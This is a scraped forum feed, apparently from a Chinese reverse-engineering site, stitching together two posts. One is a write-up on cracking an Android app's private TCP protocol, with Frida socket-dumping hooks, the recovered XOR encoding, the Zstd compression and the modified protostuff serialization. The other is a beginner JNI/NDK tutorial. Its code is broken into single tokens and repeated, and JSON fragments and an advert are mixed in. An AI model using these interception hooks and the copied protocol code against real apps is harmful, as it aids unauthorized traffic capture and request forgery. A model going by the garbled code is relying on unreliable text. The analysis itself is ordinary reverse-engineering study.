压缩使用了两套方案, Zstd 或者 GZip ,Zstd 是 facebook开源的压缩库,采用固定等级三
token生成是随机数+魔改MD5签名(这个上两篇文章已经写了)
加解密有两套 XOR 或 AEScbc
每个库都有原始库,就是他用啥魔改的,找到对应的原始库就很好解决了
抓包抓不到包,甚至失败的链接都没有那就排除检测,直接怀疑TCP
通过hook SocketInputStream、SocketOutputStream方法打印堆栈就可以定位到目标方法
requestData 通过task.getRequestData()获取
那就看这个 this.requestData; 赋值
这里很明显可以看到有一个很清晰的 buileRequest.totelData 赋值,十有八九就是这个了
看到这个方法,第一反应就是,buileRequest,那就肯定还有个buileResponse
搜一下,果然
理论上建议大家先从buileResponse来,因为 buileRequest 有可能会存在随机数等情况造成同一个值加密后的结果不一致,而解密响应体,必然不可能随机,只有解成功和解失败
这里 buileRequest 的坑比较多,就从这里开始吧
这里可以看到 buileRequest 有三种情况的返回,挨个hook 就会发现基本走的都是 getRequestDataBeanV6
V6 这里就很明显可以看到返回值,以及 上文写的他发送的实际是 返回对象的totelData属性
这里就到了加密流程,ListUtil.combineByteArr 作用是连接合并两个数组
那么 buileRequestHeadOfPrefixV6 就是头信息,传入的是encode长度+6 和 加密方式代表的数字
里面也没做啥特殊的,就是把传进来的两个数字给转换成byte[],SerializeWriter这里先不看,后面会一起解决
那现在唯一的问题就是 Encode 了
从上面V6的代码中不难看到encode 的产生方式有三种,我们不好确定用的是哪个,这里上面分析了buileRequestHeadOfPrefixV6 传的第二个参数就是加密方式,所以hook一下这个入参就好了
发现进来的值是5,int i12 = 5; 而且中间值没有改变
那就确定加密方式用的 encodeByXor,压缩用的 getCompressProvider().compress
encodeByXor 点过去就能看到
直接扣过来就好了
压缩的这个getCompressProvider().compress
按照正常流程,肯定要先看一下 getCompressProvider 返回的哪个对象,尝试跟了一下没跟到,所以就直接看compress,点进方法
这里可以看到是一个接口,直接复制 byte[] compress(byte[] bArr),去搜索看看谁实现了这个方法
结果很明显就能看到
实际上是调用了 CTZ.a 方法
CTZ 搜了半天没有结果,但是我在搜索这个注释的zstdBytes的时候发现了惊喜
这个 zstd 就是facebook开源的一个压缩库,第二个参数3明显就是写死的压缩等级了,而且经过测试压缩没有经过魔改
当然有些请求走的其他加密流程,压缩换成 Gzip 或者加解密换成 AEScbc ,区别不大
(别问为什么不直接用 blacboxprotubuf,因为领导要看每个字段对应的 tag,而且请求和字段多了后,一直用 blackbloxprotubuff 很不方便)
加解密和压缩的流程基本都没问题了,现在问题就是 buileRequestHeadV6
方法做了什么
clientToken 就是前面两篇文章说过的魔改MD5对随机数进行签名,这里就不进行赘述了
这里的Serialize.writeMessage 就是将对象序列化成字节数组
点进去这个方法之后,就能看到
就是这个方法,让我感觉一阵的熟悉,那就是我之前搞过某个航司APP用的开源库 io.protostuff,用法跟这里几乎一模一样
所以我尝试使用老方法,把 request 对象完整的抠出来,然后传给io.protostuff
这里的ProtoBufferField 注解中 tag 参数,很明显就能看出来就是 io,protostuff
但是我把对象构建完传进去后发现,程序报错,对象中存在没有tag的属性存在
哦豁,这些都不是tag,那为啥他没报错呢?
那就看一下 io,protostuff 的源代码,找到 writeMessage 方法,这里可以发现调用的实际上还是 toByteArray方法,而且看代码,一样的getclass,一样的模板类
然后跟一下会发现调用到了 writeto,一个for循环,遍历所有tag
但是在目标APP源码中再跟一步就会发现 不一样的地方
在标准的 Io.protostuff 中这里就只是一个循环然后调用方法,但是这里对方法标签做了很多判断,根据不同的判断结果调用不同的方法
所以如果对这个库比较熟悉,直接在这个库的源码中改就行了,然后重新打包jar包调用
我这里为了防止后面有很多需要扣代码的地方有互相依赖的情况,直接把这个库全部抠出来了
代码量也不是很大,有点耐心很快就可以扣完
在扣代码的过程中可以发现一个很难受的地方,它的代码复制粘贴出来会有很多以下性能监控的垃圾代码
这里我写了个代码用于删除以上垃圾代码,每次复制完跑一遍就行了(我感觉这个东西jadx去处理应该更方便更快,但是懒得研究了,也没看到对应的资料)
OK,流程结束,魔改MD5上两篇已经写过了,接下来就是一个sign和一个AES
Java.use(
\\"java.net.SocketInputStream\\"
).socketRead0.overload(
\'java.io.FileDescriptor\'
,
\'[B\'
,
\'int\'
,
\'int\'
,
\'int\'
).implementation =
function
(fd, bytearry, offset, byteCount, timeout) {
\\n
var
result =
this
.socketRead0(fd, bytearry, offset, byteCount, timeout);
\\n
let base64_str = base64_enc(bytearry);
\\n
if
(base64_str.length < 1000 || base64_str.indexOf(
\\"AAAAAAAAAAA\\"
) > -1) {
\\n
return
result;
\\n
}
\\n
showStacks();
\\n
console.log(
\\"get data: \\"
+ base64_str)
\\n
return
result;
\\n}
Java.use(
\\"java.net.SocketOutputStream\\"
).socketWrite0.overload(
\'java.io.FileDescriptor\'
,
\'[B\'
,
\'int\'
,
\'int\'
).implementation =
function
(fd, bytearry, offset, byteCount) {
\\n
var
result =
this
.socketWrite0(fd, bytearry, offset, byteCount);
\\n
showStacks();
\\n
console.log(
\\"\\\\nsend data: \\"
+ base64_enc(bytearry))
\\n
return
result;
\\n}
Java.use(
\\"java.net.SocketInputStream\\"
).socketRead0.overload(
\'java.io.FileDescriptor\'
,
\'[B\'
,
\'int\'
,
\'int\'
,
\'int\'
).implementation =
function
(fd, bytearry, offset, byteCount, timeout) {
\\n
var
result =
this
.socketRead0(fd, bytearry, offset, byteCount, timeout);
\\n
let base64_str = base64_enc(bytearry);
\\n
if
(base64_str.length < 1000 || base64_str.indexOf(
\\"AAAAAAAAAAA\\"
) > -1) {
\\n
return
result;
\\n
}
\\n
showStacks();
\\n
console.log(
\\"get data: \\"
+ base64_str)
\\n
return
result;
\\n}
Java.use(
\\"java.net.SocketOutputStream\\"
).socketWrite0.overload(
\'java.io.FileDescriptor\'
,
\'[B\'
,
\'int\'
,
\'int\'
).implementation =
function
(fd, bytearry, offset, byteCount) {
\\n
var
result =
this
.socketWrite0(fd, bytearry, offset, byteCount);
\\n
showStacks();
\\n
console.log(
\\"\\\\nsend data: \\"
+ base64_enc(bytearry))
\\n
return
result;
\\n}
public byte[] getRequestData() {
return
this.requestData;
\\n}
public byte[] getRequestData() {
return
this.requestData;
\\n}
private static byte[] buileRequestHeadOfPrefixV6(
int
i12,
int
i13) {
\\n
SerializeWriter serializeWriter
=
new SerializeWriter(
14
, Serialize.charsetName_ASCII);
\\n
serializeWriter.writeInt(i12,
8
);
\\n
serializeWriter.writeInt(i13,
4
);
\\n
serializeWriter.writeInt(
6
,
2
);
\\n
byte[] byteArr
=
serializeWriter.toByteArr();
\\n
AppMethodBeat.o(
59015
);
\\n
return
byteArr;
\\n}
private static byte[] buileRequestHeadOfPrefixV6(
int
i12,
int
i13) {
\\n
SerializeWriter serializeWriter
=
new SerializeWriter(
14
, Serialize.charsetName_ASCII);
\\n
serializeWriter.writeInt(i12,
8
);
\\n
serializeWriter.writeInt(i13,
4
);
\\n
serializeWriter.writeInt(
6
,
2
);
\\n
byte[] byteArr
=
serializeWriter.toByteArr();
\\n
AppMethodBeat.o(
59015
);
\\n
return
byteArr;
\\n}
if
(xxx) {
\\n
compress2
=
GzipUtil.compress(buileRequestHeadV6, bArr);
\\n
i12
=
3
;
\\n}
else
{
\\n
compress2
=
CommConfig.getInstance().getCompressProvider().compress(byteMerge(buileRequestHeadV6, bArr));
\\n}
Encode
=
SOTPEncodeUtil.encodeByXor(compress2);
\\ni13
=
i12;
\\nif
(xxx) {
\\n
compress2
=
GzipUtil.compress(buileRequestHeadV6, bArr);
\\n
i12
=
3
;
\\n}
else
{
\\n
compress2
=
CommConfig.getInstance().getCompressProvider().compress(byteMerge(buileRequestHeadV6, bArr));
\\n}
Encode
=
SOTPEncodeUtil.encodeByXor(compress2);
\\ni13
=
i12;
\\npublic static byte[] encodeByXor(byte[] bArr) {
if
(bArr
=
=
null || bArr.length <
1
) {
\\n
return
bArr;
\\n
}
\\n
byte[] bArr2
=
new byte[bArr.length];
\\n
for
(
int
i12
=
0
; i12 < bArr.length; i12
+
+
) {
\\n
bArr2[i12]
=
(byte) (bArr[i12] ^
-
1
);
\\n
}
\\n
return
bArr2;
\\n}
public static byte[] encodeByXor(byte[] bArr) {
if
(bArr
=
=
null || bArr.length <
1
) {
\\n
return
bArr;
\\n
}
\\n
byte[] bArr2
=
new byte[bArr.length];
\\n
for
(
int
i12
=
0
; i12 < bArr.length; i12
+
+
) {
\\n
bArr2[i12]
=
(byte) (bArr[i12] ^
-
1
);
\\n
}
\\n
return
bArr2;
\\n}
public interface SOTPCompressProvider {
byte[] compress(byte[] bArr) throws Exception;
\\n
byte[] uncompress(byte[] bArr) throws Exception;
\\n
}
\\npublic interface SOTPCompressProvider {
byte[] compress(byte[] bArr) throws Exception;
\\n
byte[] uncompress(byte[] bArr) throws Exception;
\\n
}
\\npublic byte[] compress(byte[] bArr) {
if
(bArr
=
=
null || bArr.length <
=
0
) {
\\n
byte[] bArr2
=
new byte[
0
];
\\n
return
bArr2;
\\n
}
\\n
byte[] a12
=
CTZ.a(bArr);
\\n
return
a12;
\\n}
public byte[] compress(byte[] bArr) {
if
(bArr
=
=
null || bArr.length <
=
0
) {
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"目标APP 采用了很多开源库进行改写,怀疑下一步就是拿开源ssl.so在so里进行自写TCP发包了 protobuffer 解析是 io.protobuf 自写魔改了(字段处理)\\n\\n压缩使用了两套方案, Zstd 或者 GZip ,Zstd 是 facebook开源的压缩库,采用固定等级三\\n\\ntoken生成是随机数+魔改MD5签名(这个上两篇文章已经写了)\\n\\n加解密有两套 XOR 或 AEScbc\\n\\n每个库都有原始库,就是他用啥魔改的,找到对应的原始库就很好解决了\\n\\n抓包抓不到包,甚至失败的链接都没有那就排除检测,直接怀疑TCP\\n\\n通过hook…","guid":"https://bbs.kanxue.com/thread-285387.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-01-29T14:54:00.312Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_A7Z9CNXYNYBJ263.png","type":"photo","width":542,"height":125,"blurhash":"LIRfa*slae-;Dzt6j?RlOBx]oyoN"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_TFGXMZJNYZHJNRR.png","type":"photo","width":418,"height":164,"blurhash":"LcRMJAyFp1$~RjazXAax?waIaIbJ"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_FU595ZAZ5KFKSZ9.png","type":"photo","width":816,"height":601,"blurhash":"LFRp5zoh.8~q-;Rjt7j]%NafIUWB"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_Q7NTGA7UJZFUAFQ.png","type":"photo","width":850,"height":358,"blurhash":"LGRfa-$*-:~q-so#fmWF-=RkRQRj"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_JWTJW7D5BYJ98SP.png","type":"photo","width":897,"height":761,"blurhash":"LHR{x#sjxZ_3.Ao~XAf,oYRPRPRj"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_TQX2XAMJXS77NZK.png","type":"photo","width":568,"height":333,"blurhash":"LIR{uv_4?a_1?DRkbvt6xSRkW=f5"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_G9YCGKK79PKT9N4.png","type":"photo","width":654,"height":248,"blurhash":"LGR:EA-;oz_3?bRjWCof_MWAadR-"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_D9FQPPUZKEJXHKS.png","type":"photo","width":1072,"height":553,"blurhash":"LGRfh4x]?b~q-;t7RjoexvogM|oz"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_NWGM5KEGBQ28CA7.png","type":"photo","width":711,"height":195,"blurhash":"LFQvtK%Noz?b%f%LV@ax~qRkt8og"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_VCD7HM2QBSRNR89.png","type":"photo","width":1285,"height":735,"blurhash":"L25}gX~VWr9abxXAaeadS*S%j?n#"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_PX9BBSM8NR4SMRY.png","type":"photo","width":754,"height":192,"blurhash":"L14ej1s,xYt8RjoIobkC4mbIRkae"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_JRMG58UHXFNGDBZ.png","type":"photo","width":422,"height":1031,"blurhash":"L15r3@%N00V=ozofj]V@ogWCWBs:"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_37G5YN5FQ9346DJ.png","type":"photo","width":397,"height":497,"blurhash":"LDSY{p-:%L_3~pV@adoIs.%2Riax"},{"url":"https://bbs.kanxue.com/upload/attach/202501/972841_V4Y9F5ZVWSXQMV3.png","type":"photo","width":1258,"height":1028,"blurhash":"L03[#e?bRPM{%Nt7ayWBjaoeofoM"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]安卓逆向基础知识之JNI开发与so层逆向基础","url":"https://bbs.kanxue.com/thread-285362.htm","content":"\\n\\n什么是NDK呢?什么是JNI呢?
NDK(Native Development Kit)是一个允许开发者使用C和C++编写Android应用程序的工具集。它提供了一系列的工具和库,可以帮助开发者将高性能的原生代码集成到Android应用中。
NDK的主要目标是提供一种方式,让开发者能够在需要更高性能或更底层控制的情况下使用C和C++编写部分应用程序,而不仅仅依赖于Java。
JNI(Java Native Interface)是一种编程框架,用于在Java代码和原生代码(如C和C++)之间进行交互。通过JNI,开发者可以在Java代码中调用原生代码的函数,并且可以将Java对象传递给原生代码进行处理。
JNI的主要作用是提供一种标准的接口,使得Java代码能够与原生代码进行通信。开发者可以使用JNI定义Java和原生代码之间的函数接口,并在Java代码中调用这些接口。同时,JNI还提供了一些函数来处理Java对象和原生数据类型之间的转换。简单来说就是JNI相当于JAVA和C/C++之间的翻译官,不管是JAVA转C/C++,还是C/C++转JAVA都需要依靠于JNI进行桥接、转换。
Java的保密性相对于C/C++来说并不算安全,有的开发者为了安全就也会去调用C/C++的代码来增加其项目的安全性,想要调用C/C++代码就需要通过jni接口调用,而要使用jni接口那就需要配置NDK。在配置NDK之前需要创建一个项目,调用C/C++代码建议创建Native C++项目类型。创建Native C++项目类型的项目可以参考以下方式创建:
一、在向导的 Choose your project 部分中,选择 Native C++ 项目类型:
二、填写向导下一部分中的所有其他字段:
Minimum SDK选项选择您希望应用支持的最低 API 级别。当您选择较低的 API 级别时,您的应用可以使用的现代 Android API 会更少,但能够运行应用的 Android 设备的比例会更大。当选择较高的 API 级别时,情况正好相反。
三、自定义C++支持:
使用下拉列表选择您想要使用哪种 C++ 标准化。选择 Toolchain Default,将使用默认的 CMake 设置。
最后点击Finish,项目创建成功。
如需在 Android Studio 中安装 CMake 和默认 NDK,请执行以下操作:
点击 OK。
\\n此时系统会显示一个对话框,告诉您 NDK 软件包占用了多少磁盘空间。
\\n点击 OK。
\\n安装完成后,点击 Finish。
\\n您的项目会自动同步 build 文件并执行构建。修正发生的所有错误。
\\nAndroid Studio 会将所有版本的 NDK 安装在 android-sdk/ndk/
目录中,我们需要将NDK安装目录添加到PATH
环境变量中,NDK安装目录如:D:\\\\AndroidStudio\\\\SDK\\\\ndk\\\\25.2.9519653\\\\build
我们安装好了NDK下面就开始体验JNI开发之静态注册:
刚开始的时候我不知道是不是Android Studio环境的问题,还是什么问题,每次创建好项目都会报错,如:“No matching variant of com.android.tools.build:gradle:7.4.0 was found. The consumer was configured to find a runtime of a library compatible with Java 8, packaged as a jar, and its dependencies declared externally, as well as attribute \'org.gradle.plugin.api-version\' with value \'7.5\' but:......”
像这样的报错信息,后面我才知道这个其实就是jdk的版本不符的问题,解决方法可以参考以下文章:
我去改变JDK的版本,准确来说并不是JDK11,而是需要JDK17及JDK17以上的版本才不会报这个错误。如果没有这个错误就可以继续使用擅长的JDK版本进行jni开发。
现在我们使用Native C++项目类型进行静态注册,在具体讲之前先讲一下静态注册的流程:
第一步:在Java层使用native修饰符声明一个C/C++的函数;
第二步:Java层调用C/C++的函数;
第三步:生成.c/.cpp文件,并在文件内编写C/C++函数;
第四步:在java代码中添加静态代码块加载指定名称的共享库。
接下来正式讲解JNI开发就需要使用支持C/C++类型的Native C++项目。
我们先在Java层使用native修饰符声明C/C++的函数,然后调用声明的C/C++层函数:
package com.example.as_jni_project;\\n\\nimport androidx.appcompat.app.AppCompatActivity;\\n\\nimport android.annotation.SuppressLint;\\nimport android.content.Context;\\nimport android.os.Bundle;\\nimport android.widget.TextView;\\nimport android.widget.Toast;\\n\\nimport com.example.as_jni_project.databinding.ActivityMainBinding;\\n\\npublic class MainActivity extends AppCompatActivity {\\n\\n // 在应用程序启动时用于加载\'as_jni_project\'库。\\n static {\\n System.loadLibrary(\\"as_jni_project\\"); // 加载模块名称\\n }\\n\\n private ActivityMainBinding binding;\\n public String str = \\"Hello JAVA!我是普通字段\\";\\n public static String static_str = \\"Hello JAVA!我是静态字段\\";\\n\\n public static AppCompatActivity your_this = null;\\n\\n public void str_method() {\\n Toast.makeText(this, \\"普通方法\\", Toast.LENGTH_LONG).show();\\n }\\n\\n public static void static_method() {\\n Toast.makeText(your_this, \\"静态方法\\", Toast.LENGTH_LONG).show();\\n }\\n\\n @Override\\n protected void onCreate(Bundle savedInstanceState) {\\n super.onCreate(savedInstanceState);\\n\\n your_this = MainActivity.this;\\n binding = ActivityMainBinding.inflate(getLayoutInflater());\\n setContentView(binding.getRoot());\\n\\n // 调用本地方法的示例\\n TextView tv = binding.sampleText;\\n tv.setText(stringFromJNI());\\n\\n Toast.makeText(this, stringFromJAVA(), Toast.LENGTH_LONG).show();\\n Toast.makeText(this, stringFromC(), Toast.LENGTH_LONG).show();\\n Toast.makeText(this, staticFromC(), Toast.LENGTH_LONG).show();\\n stringFromMethod();\\n staticFromMethod();\\n }\\n\\n /**\\n * 由“as_jni_project”本地库实现的本地方法,该库已打包到该应用程序中。\\n */\\n public native String stringFromJNI(); // 这个是Native C++类型项目创建时自带的C/C++方法声明,我就没有删除\\n public native String stringFromJAVA();\\n public native String stringFromC();\\n public native String staticFromC();\\n public native String stringFromMethod();\\n public native String staticFromMethod();\\n}\\n
我的想法是来完整体验一下从JAVA层通过jni调用C/C++层函数,以及从C/C++层调用JAVA层函数,所以我打算做以下几件事:
1、从JAVA层通过jni调用C/C++层函数
2、从JAVA层通过jni调用C/C++层函数,然后从C/C++层修改JAVA层普通字段的值
3、从JAVA层通过jni调用C/C++层函数,然后从C/C++层修改JAVA层静态字段的值
4、从JAVA层通过jni调用C/C++层函数,然后从C/C++层调用JAVA层普通方法
5、从JAVA层通过jni调用C/C++层函数,然后从C/C++层调用JAVA层静态方法
在MainActivity.java文件中我添加了以下代码:
在java代码中添加静态代码块加载指定名称模块:
\\n 1 \\n2 \\n3 \\n | \\n\\n \\n \\nstatic { \\n\\n \\n System.loadLibrary( \\"as_jni_project\\" ); // 加载模块名称 \\n} | \\n
那我们该怎么知道我们要加载的模块名称是什么呢?在native-lib.cpp文件的同一级文件夹下的CMakeLists.txt文件中有定义:
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n14 \\n15 \\n16 \\n17 \\n18 \\n19 \\n20 \\n21 \\n22 \\n23 \\n24 \\n25 \\n26 \\n27 \\n28 \\n29 \\n30 \\n31 \\n32 \\n33 \\n34 \\n35 \\n36 \\n37 \\n38 \\n39 \\n40 \\n41 \\n42 \\n43 \\n44 \\n45 \\n | \\n\\n # 有关将 CMake 与 Android Studio 配合使用的更多信息,请阅读文档: # f88K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1i4K6u0W2j5h3&6V1M7X3!0A6k6q4)9J5k6h3y4G2L8g2)9J5c8Y4y4@1N6h3c8A6L8#2)9J5c8Y4m8J5L8$3A6W2j5%4c8K6i4K6u0r3j5h3c8V1i4K6u0V1L8X3q4@1K9i4k6W2i4K6u0V1j5$3!0V1k6g2)9J5k6h3S2@1L8h3H3`. # 设置生成本地库所需的最低 CMake 版本。 \\n \\ncmake_minimum_required(VERSION 3.22 . 1 ) \\n# 声明并命名项目。 \\n \\nproject( \\"as_jni_project\\" ) \\n# 创建并命名库,将其设置为 STATIC 或 SHARED,并提供其源代码的相对路径。 # 您可以定义多个库,CMake 会为您构建它们。 # Gradle 会自动将共享库与您的 APK 打包。 add_library( \\n \\n # 设置库的名称。 \\n\\n \\n as_jni_project \\n\\n \\n # 将库设置为共享库。 \\n\\n \\n SHARED \\n\\n \\n # 提供源文件的相对路径。 \\n\\n \\n native - lib.cpp) \\n# 搜索指定的预生成库并将路径存储为变量。 # 由于 CMake 默认在搜索路径中包含系统库,因此您只需指定要添加的公有 NDK 库的名称。 # CMake 会在完成构建之前验证库是否存在。 \\n \\nfind_library( # Sets the name of the path variable. \\n\\n \\n log - lib \\n\\n \\n # Specifies the name of the NDK library that \\n\\n \\n # you want CMake to locate. \\n\\n \\n log) \\n# 指定 CMake 应链接到目标库的库。 # 可以链接多个库,例如在此生成脚本中定义的库、预生成的第三方库或系统库。 \\n \\ntarget_link_libraries( # Specifies the target library. \\n\\n \\n as_jni_project \\n\\n \\n # Links the target library to the log library \\n\\n \\n # included in the NDK. \\n\\n \\n ${log - lib}) \\n | \\n
可以从CMakeLists.txt文件中的定义看出,将native-lib.cpp文件设置为共享库,库的名称为as_jni_project。所以我们在指定加载模块名称时需要设置为as_jni_project。
从JAVA层通过jni调用C/C++层函数:
Toast.makeText(this, stringFromJAVA(), Toast.LENGTH_LONG).show();\\n// 通过使用消息框显示C/C++层函数stringFromJAVA()返回回来的值\\n
public native String stringFromJAVA(); // 在Java层使用native修饰符声明一个C/C++层函数stringFromJAVA\\n
从JAVA层通过jni调用C/C++层函数,然后从C/C++层调用JAVA层普通字段:
1 | \\n\\n public String str = \\"Hello JAVA!我是普通字段\\" ; // 声明一个Java层String类型的普通变量 \\n | \\n
\\n 1 \\n2 \\n | \\n\\n \\n \\nToast.makeText( this , stringFromC(), Toast.LENGTH_LONG).show(); \\n// 通过使用消息框显示C/C++层函数stringFromC()返回回来的值,该值是在C/C++层函数从Java层调用普通字段的值 | \\n
1 | \\n\\n public native String stringFromC(); // 在Java层使用native修饰符声明一个C/C++层函数stringFromC \\n | \\n
从JAVA层通过jni调用C/C++层函数,然后从C/C++层调用JAVA层静态字段:
public static String static_str = \\"Hello JAVA!我是静态字段\\"; // 声明一个Java层String类型的静态变量\\n
Toast.makeText(this, staticFromC(), Toast.LENGTH_LONG).show();\\n// 通过使用消息框显示C/C++层函数staticFromC()返回回来的值,该值是在C/C++层函数从Java层调用静态字段的值\\n
public native String staticFromC(); // 在Java层使用native修饰符声明一个C/C++层函数staticFromC\\n
从JAVA层通过jni调用C/C++层函数,然后从C/C++层调用JAVA层普通方法:
// 声明一个Java层无返回值的普通方法,通过C/C++函数调用该方法会弹出消息框显示\\"普通方法\\"\\npublic void str_method() {\\n Toast.makeText(this, \\"普通方法\\", Toast.LENGTH_LONG).show();\\n}\\n
1 | \\n\\n stringFromMethod(); // 在Java层调用C/C++层函数stringFromMethod \\n | \\n
public native String stringFromMethod(); // 在Java层使用native修饰符声明一个C/C++层函数stringFromMethod\\n
从JAVA层通过jni调用C/C++层函数,然后从C/C++层调用JAVA层静态方法:
// 声明一个AppCompatActivity类型(MainActivity的父类)的静态变量用来接收this,因为static_method方法是静态方法,而静态方法内部不可以出现this关键字。\\npublic static AppCompatActivity your_this;\\n
// 声明一个Java层无返回值的静态方法,通过C/C++函数调用该方法会弹出消息框显示\\"静态方法\\"\\npublic static void static_method() {\\n // Toast.makeText()方法的第一个参数应该存放this,但是因为该方法是一个静态方法,所以该方法是属于类的,而非实例的。\\n // 因为静态方法是属于类的,所以静态方法会和类一同创建;而this只能代表当前对象,所以导致静态方法中不可以出现this关键字。\\n Toast.makeText(your_this, \\"静态方法\\", Toast.LENGTH_LONG).show();\\n}\\n
// 在Activity生命周期的onCreata()方法进行初始化时,将MainActivity.this赋值给AppCompatActivity类型的静态变量,这样就会优先创建this,这样做或许可以解决this关键字无法出现在静态方法中,让我们可以正常弹出消息框。\\nyour_this = MainActivity.this;\\n
staticFromMethod(); // 在Java层调用C/C++层函数staticFromMethod\\n
1 | \\n\\n public native String staticFromMethod(); // 在Java层使用native修饰符声明一个C/C++层函数staticFromMethod \\n | \\n
除去我添加的这些代码,其余代码都是Native C++类型项目创建时自带的代码。
写完了Java层的代码,我们接下来去详细介绍.cpp文件:
#include // jni.h是Java Native Interface(JNI)的头文件,用于提供JNI函数和数据类型的定义\\n#include // string是C++中的标准库头文件,用于操作字符串\\n\\nextern \\"C\\" JNIEXPORT jstring JNICALL\\nJava_com_example_as_1jni_1project_MainActivity_stringFromJNI(\\n JNIEnv* env,\\n jobject /* this */) {\\n std::string hello = \\"Hello from C++\\";\\n return env->NewStringUTF(hello.c_str());\\n}\\n\\n// extern \\"C\\"表示下面的代码使用的是C的编译方式,如果是文件后缀名为.c的C环境,那是不需要加的,因为那已经是C的编译方式了。\\nextern \\"C\\"\\n// JNIEXPORT是JNI重要标记关键字,主要作用是标记该方法让其可以被外部调用\\n// JNICALL 修饰符的作用就是告诉编译器使用JNI规范定义的调用约定来处理函数\\nJNIEXPORT jstring JNICALL\\n// Java_com_example_as_1jni_1project_MainActivity_stringFromJAVA表示该JNI函数的命名规则\\n// Java_包名_类名_方法名,如果包名、类名、方法名中自带_(下划线),那么在JNI函数的命名规则中会用_1表示该下划线是Java的下划线\\nJava_com_example_as_1jni_1project_MainActivity_stringFromJAVA(JNIEnv *env, jobject thiz) {\\n // JNIEnv *env 是一个指向JNI环境的指针,它提供了一系列的函数,用于在Java代码和C代码之间进行交互。\\n // jobject thiz 是一个表示当前对象的引用,在JNI中,jobject thiz 通常用于表示调用当前JNI函数的Java对象。\\n // 举个例子:stringFromJAVA函数是在MainActivity.onCreate方法中被调用,那么jobject类型thiz参数则表示MainActivity.this。\\n // TODO: implement stringFromJAVA()\\n}\\n\\nextern \\"C\\"\\nJNIEXPORT jstring JNICALL\\nJava_com_example_as_1jni_1project_MainActivity_stringFromC(JNIEnv *env, jobject thiz) {\\n // TODO: implement stringFromC()\\n}\\n\\nextern \\"C\\"\\nJNIEXPORT jstring JNICALL\\nJava_com_example_as_1jni_1project_MainActivity_staticFromC(JNIEnv *env, jobject thiz) {\\n // TODO: implement staticFromC()\\n}\\n\\nextern \\"C\\"\\nJNIEXPORT jstring JNICALL\\nJava_com_example_as_1jni_1project_MainActivity_stringFromMethod(JNIEnv *env, jobject thiz) {\\n // TODO: implement stringFromMethod()\\n}\\n\\nextern \\"C\\"\\nJNIEXPORT jstring JNICALL\\nJava_com_example_as_1jni_1project_MainActivity_staticFromMethod(JNIEnv *env, jobject thiz) {\\n // TODO: implement staticFromMethod()\\n}\\n
定义了两个C/C++层函数,其中的一些关键字、修饰符、函数的命名规则我都用注释简单说明了一下,但在这些代码中,我认为有一行代码需要详细讲解:
// extern \\"C\\"表示下面的代码使用的是C的编译方式,如果是文件后缀名为.c的C环境,那是不需要加的,因为那已经是C的编译方式了。\\nextern \\"C\\"\\n
可能有的朋友会很好奇,这一行代码有啥必要详细讲解的?这一行代码为什么要详细讲解这还得从JNI的核心JNIEnv开始讲起:
因为JNI的核心就是JNIEnv,而JNIEnv的核心则是在jni.h文件中使用C语言结构体定义的三百多个C语言函数。在Android Studio可以按住CTRL键点击要跳转的类、方法可以跳转到目标位置,按住CTRL键点击JNIEnv后跳转到以下位置:
主要看这段代码:
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n | \\n\\n \\n \\n# if defined(__cplusplus) \\ntypedef _JNIEnv JNIEnv; typedef _JavaVM JavaVM; \\n \\n# else \\n\\n \\ntypedef const struct JNINativeInterface* JNIEnv; \\n\\n \\ntypedef const struct JNIInvokeInterface* JavaVM; \\n#endif | \\n
这里进行了一个判断,判断是使用C还是C++,有人可能好奇怎么进行判断,很简单,看写C/C++层代码的文件是.c(C语言源文件)还是.cpp(C++源文件),如果是.cpp那就走这段代码:
\\n 1 \\n2 \\n | \\n\\n typedef _JNIEnv JNIEnv; typedef _JavaVM JavaVM; | \\n
如果是.c那就走另一段代码:
\\n 1 \\n2 \\n | \\n\\n \\n \\ntypedef const struct JNINativeInterface * JNIEnv; \\n\\n \\ntypedef const struct JNIInvokeInterface * JavaVM; \\n | \\n
因为我们写C/C++层代码的文件是以.cpp为后缀的代码文件,所以我们讲解以下后缀名为.cpp时执行的代码:
typedef _JNIEnv JNIEnv;
将 _JNIEnv
类型定义一个别名,该别名为JNIEnv
类型。
typedef _JavaVM JavaVM;
将 _JavaVM
类型定义一个别名,该别名为 JavaVM
类型。
但是我们的主角是JNIEnv
,而JNIEnv
类型是_JNIEnv
类型的别名,那我们去看看_JNIEnv类型
到底是何方神圣:
可以看到_JNIEnv
类型是一个结构体,而这个结构体当中有一个比较眼熟的身影,JNINativeInterface
是不是在哪里见过,没错就是前面判断是C还是C++的时候,如果写C/C++层代码的文件是.c的时候会去执行的代码:
1 | \\n\\n typedef const struct JNINativeInterface * JNIEnv; \\n | \\n
我们点进去看看:
这个是什么呢?这个就是jni.h文件中使用C语言结构体定义的三百多个C语言函数,不管是Java调用C/C++函数,还是C/C++调用Java函数,都需要通过调用jni.h文件中的这三百多个C语言函数去调用。
但是要注意一个点,C++结构体_JNIEnv
是一个对象的包装器,通常覆盖在C结构体JNINativeInterface上。这意味着_JNIEnv
结构体中的第一个成员变量将是指向JNINativeInterface
结构体的指针。这种关系表明_JNIEnv结构体是对JNINativeInterface结构体的封装。
看到这里你会发现无论是C还是C++都会访问JNINativeInterface
结构体,而这个结构体是C语言的结构体,这个结构体有三百多个C语言函数,而这三百多个C语言函数必须采用C的编译方式。结构流程图大致是这样的:
